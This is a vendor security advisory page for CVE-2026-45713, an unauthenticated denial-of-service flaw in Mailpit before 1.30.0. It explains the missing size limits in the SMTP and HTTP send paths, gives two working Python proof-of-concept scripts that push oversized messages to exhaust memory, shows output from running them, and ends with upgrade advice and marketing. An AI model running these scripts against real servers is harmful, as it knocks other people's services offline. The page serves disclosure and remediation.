CVE-2026-45713

CVE-2026-45713 is a high-severity uncontrolled resource consumption vulnerability in github.com/axllent/mailpit (go), affecting versions < 1.30.0. It is fixed in 1.30.0.

Check whether CVE-2026-45713 affects your applications

Kodem tells you whether this CVE is present, reachable, and actually executing in your application, so you know if it matters.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence. Only the CVEs that actually run in production.

Summary

Mailpit: Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes

The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack, or running it concurrently from multiple connections, drives the process to OOM-kill.

Details

Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes, so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates).

Affected code
internal/smtpd/smtpd.go:107, the field exists:

type Server struct {
    ...
    MaxSize int // Maximum message size allowed, in bytes
    ...
}

internal/smtpd/smtpd.go:863-877, the enforcement is gated on > 0:

for {
    ...
    line, err := s.br.ReadBytes('\n')
    if err != nil {
        return nil, err
    }
    if bytes.Equal(line, []byte(".\r\n")) {
        break
    }
    if line[0] == '.' {
        line = line[1:]
    }

    if s.srv.MaxSize > 0 {                                   // ← only when set
        if len(data)+len(line) > s.srv.MaxSize {
            _, _ = s.br.Discard(s.br.Buffered())
            return nil, maxSizeExceeded(s.srv.MaxSize)
        }
    }
    data = append(data, line...)                             // ← otherwise grows unbounded
}

internal/smtpd/main.go:223-248, the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.

server/apiv1/send.go:45-52, HTTP path has the same defect:

decoder := json.NewDecoder(r.Body)
data := sendMessageParams{}
if err := decoder.Decode(&data.Body); err != nil {
    httpJSONError(w, err.Error())
    return
}

No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.

PoC

Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth):

#!/usr/bin/env python3
# poc-smtp-dos.py
import socket, sys
host, port = sys.argv[1], int(sys.argv[2])
mb         = int(sys.argv[3])  # message size, MiB

s = socket.create_connection((host, port), timeout=120)
def r(): return s.recv(4096).decode("latin-1", "replace").strip()
print(r())
for cmd in [b"HELO x\r\n",
            b"MAIL FROM:<[email protected]>\r\n",
            b"RCPT TO:<[email protected]>\r\n",
            b"DATA\r\n"]:
    s.sendall(cmd); print(r())
s.sendall(b"Subject: oversize\r\n\r\n")
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(b"\r\n.\r\n")
print(r()); s.close()
$ python3 poc-smtp-dos.py 127.0.0.1 1025 100
220 hostname Mailpit ESMTP Service ready
250 hostname greets x
250 2.1.0 Ok
250 2.1.5 Ok
354 Start mail input; end with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj

$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
1062848    # ≈ 1 037 MiB, up from 25 MiB baseline

Equivalent over HTTP:

# poc-http-dos.py
import socket, sys
host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
prefix = b'{"From":{"Email":"[email protected]"},"To":[{"Email":"[email protected]"}],"Subject":"big","Text":"'
suffix = b'"}'
N      = mb * 1024 * 1024
clen   = len(prefix) + N + len(suffix)

s = socket.create_connection((host, port), timeout=120)
s.sendall(
    b"POST /api/v1/send HTTP/1.1\r\n"
    b"Host: x\r\n"
    b"Content-Type: application/json\r\n"
    b"Content-Length: " + str(clen).encode() + b"\r\n"
    b"Connection: close\r\n\r\n")
s.sendall(prefix)
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(suffix)
print(s.recv(500).decode("latin-1", "replace"))
$ python3 poc-http-dos.py 127.0.0.1 8025 200
HTTP/1.1 200 OK
...
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
2147000      # comfortably above 2 GiB on the same process

Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB → 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.

Impact

Unauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-45713 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.30.0); upgrading removes the vulnerable code path.

Affected versions

github.com/axllent/mailpit (< 1.30.0)

Security releases

github.com/axllent/mailpit → 1.30.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/axllent/mailpit to 1.30.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-45713? CVE-2026-45713 is a high-severity uncontrolled resource consumption vulnerability in github.com/axllent/mailpit (go), affecting versions < 1.30.0. It is fixed in 1.30.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2026-45713? CVE-2026-45713 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/axllent/mailpit are affected by CVE-2026-45713? github.com/axllent/mailpit (go) versions < 1.30.0 is affected.
  4. Is there a fix for CVE-2026-45713? Yes. CVE-2026-45713 is fixed in 1.30.0. Upgrade to this version or later.
  5. Is CVE-2026-45713 exploitable, and should I be worried? Whether CVE-2026-45713 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-45713 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-45713? Upgrade github.com/axllent/mailpit to 1.30.0 or later.

Other vulnerabilities in github.com/axllent/mailpit

Stop the waste.
Protect your environment with Kodem.